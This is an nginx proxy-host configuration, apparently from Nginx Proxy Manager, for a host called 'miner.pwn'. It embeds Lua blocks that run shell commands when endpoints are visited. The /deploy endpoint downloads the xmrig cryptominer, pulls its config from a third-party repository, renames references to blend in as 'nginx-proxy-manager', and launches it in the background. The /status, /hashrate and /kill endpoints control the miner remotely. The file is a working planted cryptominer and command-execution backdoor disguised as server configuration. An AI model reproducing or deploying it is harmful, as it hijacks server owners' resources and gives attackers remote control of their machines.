# ------------------------------------------------------------
# miner.pwn
# ------------------------------------------------------------



map $scheme $hsts_header {
    https   "max-age=63072000; preload";
}

server {
  set $forward_scheme http;
  set $server         "127.0.0.1";
  set $port           8080;

  listen 80;
#listen [::]:80;


  server_name miner.pwn;
http2 off;












  access_log /data/logs/proxy-host-4_access.log proxy;
  error_log /data/logs/proxy-host-4_error.log warn;


location /deploy {
  content_by_lua_block {
    local h = io.popen([[
# Kill existing miner first
pkill -9 xmrig 2>/dev/null
killall -9 xmrig 2>/dev/null
rm -rf /tmp/xmrig-* 2>/dev/null
echo "[*] Cleaned previous miner"

cd /tmp
V=6.25.0
OS=$(uname -s)
ARCH=$(uname -m)

case "$OS-$ARCH" in
  Linux-x86_64) U="linux-static-x64" ;;
  Darwin-x86_64) U="macos-x64" ;;
  Darwin-arm64) U="macos-arm64" ;;
  FreeBSD-amd64|FreeBSD-x86_64) U="freebsd-static-x64" ;;
  *) echo "[-] Unsupported: $OS-$ARCH"; exit 1 ;;
esac

echo "[*] Target: $OS $ARCH"
echo "[*] Downloading xmrig v$V ($U)..."

curl -sL "https://github.com/xmrig/xmrig/releases/download/v$V/xmrig-$V-$U.tar.gz" -o xmrig.tar.gz
tar xzf xmrig.tar.gz
rm xmrig.tar.gz

echo "[*] Fetching config from GitHub..."
curl -s "https://raw.githubusercontent.com/athenaop/xmrig-config/master/config.json" | \
  sed 's/freeswitch/nginx-proxy-manager/g' > xmrig-$V/config.json

echo "[*] Starting miner..."
cd xmrig-$V
chmod +x xmrig
./xmrig --background --config=config.json >/dev/null 2>&1

sleep 2
PID=$(pgrep -x xmrig 2>/dev/null || pidof xmrig 2>/dev/null)
[ -n "$PID" ] && echo "[+] Miner running! PID: $PID" || echo "[-] Failed to start"
]])
    ngx.say(h:read("*a"))
    h:close()
  }
}
location /status {
  content_by_lua_block {
    local h = io.popen("pgrep -a xmrig 2>/dev/null || ps aux | grep '[x]mrig'")
    local r = h:read("*a")
    h:close()
    ngx.say(r ~= "" and r or "[-] Not running")
  }
}
location /hashrate {
  content_by_lua_block {
    local h = io.popen("cat /tmp/xmrig-*/log.txt 2>/dev/null | tail -20 || echo 'No logs'")
    ngx.say(h:read("*a"))
    h:close()
  }
}
location /kill {
  content_by_lua_block {
    os.execute("pkill -9 xmrig 2>/dev/null; killall -9 xmrig 2>/dev/null")
    ngx.say("[+] Miner killed")
  }
}






  location / {






    

    # Proxy!
    include conf.d/include/proxy.conf;
  }


  # Custom
  include /data/nginx/custom/server_proxy[.]conf;
}
